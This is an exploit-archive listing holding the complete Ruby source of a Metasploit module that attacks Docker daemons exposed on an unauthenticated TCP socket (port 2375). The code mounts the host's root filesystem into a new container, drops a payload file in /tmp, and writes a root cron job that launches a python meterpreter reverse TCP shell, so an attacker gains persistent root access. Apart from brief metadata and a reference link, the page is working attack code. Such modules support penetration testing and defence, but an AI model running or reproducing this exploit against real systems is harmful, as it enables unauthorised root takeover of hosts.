Docker Daemon Unprotected TCP Socket (Metasploit)

2017.09.12
Credit: Martin Pizala
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Docker Daemon - Unprotected TCP Socket Exploit', 'Description' => %q{ Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp with tls but without tls-auth), an attacker can create a Docker container with the '/' path mounted with read/write permissions on the host server that is running the Docker container. As the Docker container executes command as uid 0 it is honored by the host operating system allowing the attacker to edit/create files owned by root. This exploit abuses this to creates a cron job in the '/etc/cron.d/' path of the host server. The Docker image should exist on the target system or be a valid image from hub.docker.com. }, 'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'], ['URL', 'https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket'] ], 'DisclosureDate' => 'Jul 25, 2017', 'Targets' => [ [ 'Python', { 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'Payload' => { 'Compat' => { 'ConnectionType' => 'reverse noconn none tunnel' } } }] ], 'DefaultOptions' => { 'WfsDelay' => 180, 'Payload' => 'python/meterpreter/reverse_tcp' }, 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(2375), OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]), OptString.new('CONTAINER_ID', [ false, 'container id you would like']) ] ) end def check_image(image_id) vprint_status("Check if images exist on the target host") res = send_request_raw( 'method' => 'GET', 'uri' => normalize_uri('images', 'json') ) return unless res and res.code == 200 and res.body.include? image_id res end def pull_image(image_id) print_status("Trying to pulling image from docker registry, this may take a while") res = send_request_raw( 'method' => 'POST', 'uri' => normalize_uri('images', 'create?fromImage=' + image_id) ) return unless res.code == 200 res end def make_container_id return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil? rand_text_alpha_lower(8) end def make_cmd(mnt_path, cron_path, payload_path) vprint_status('Creating the docker container command') echo_cron_path = mnt_path + cron_path echo_payload_path = mnt_path + payload_path cron_command = "python #{payload_path}" payload_data = payload.raw command = "echo \"#{payload_data}\" >> #{echo_payload_path} && " command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} && " command << "echo \"\" >> #{echo_cron_path} && " command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}" command end def make_container(mnt_path, cron_path, payload_path) vprint_status('Setting container json request variables') { 'Image' => datastore['DOCKERIMAGE'], 'Cmd' => make_cmd(mnt_path, cron_path, payload_path), 'Entrypoint' => %w[/bin/sh -c], 'HostConfig' => { 'Binds' => [ '/:' + mnt_path ] } } end def del_container(container_id) send_request_raw( { 'method' => 'DELETE', 'uri' => normalize_uri('containers', container_id) }, 1 # timeout ) end def check res = send_request_raw( 'method' => 'GET', 'uri' => normalize_uri('containers', 'json'), 'headers' => { 'Accept' => 'application/json' } ) if res.nil? print_error('Failed to connect to the target') return Exploit::CheckCode::Unknown end if res and res.code == 200 and res.headers['Server'].include? 'Docker' return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def exploit # check if target is vulnerable unless check == Exploit::CheckCode::Vulnerable fail_with(Failure::Unknown, 'Failed to connect to the target') end # check if image is not available, pull it or fail out image_id = datastore['DOCKERIMAGE'] if check_image(image_id).nil? fail_with(Failure::Unknown, 'Failed to pull the docker image') if pull_image(image_id).nil? end # create required information to create json container information. cron_path = '/etc/cron.d/' + rand_text_alpha(8) payload_path = '/tmp/' + rand_text_alpha(8) mnt_path = '/mnt/' + rand_text_alpha(8) container_id = make_container_id # create container res_create = send_request_raw( 'method' => 'POST', 'uri' => normalize_uri('containers', 'create?name=' + container_id), 'headers' => { 'Content-Type' => 'application/json' }, 'data' => make_container(mnt_path, cron_path, payload_path).to_json ) fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201 print_status("The docker container is created, waiting for deploy") register_files_for_cleanup(cron_path, payload_path) # start container send_request_raw( { 'method' => 'POST', 'uri' => normalize_uri('containers', container_id, 'start') }, 1 # timeout ) # wait until container stopped vprint_status("Waiting until the docker container stopped") res_wait = send_request_raw( 'method' => 'POST', 'uri' => normalize_uri('containers', container_id, 'wait'), 'headers' => { 'Accept' => 'application/json' } ) # delete container deleted_container = false if res_wait.code == 200 vprint_status("The docker container has been stopped, now trying to remove it") del_container(container_id) deleted_container = true end # if container does not deploy, remove it and fail out unless deleted_container del_container(container_id) fail_with(Failure::Unknown, "The docker container failed to deploy") end print_status('Waiting for the cron job to run, can take up to 60 seconds') end end

References:

https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket


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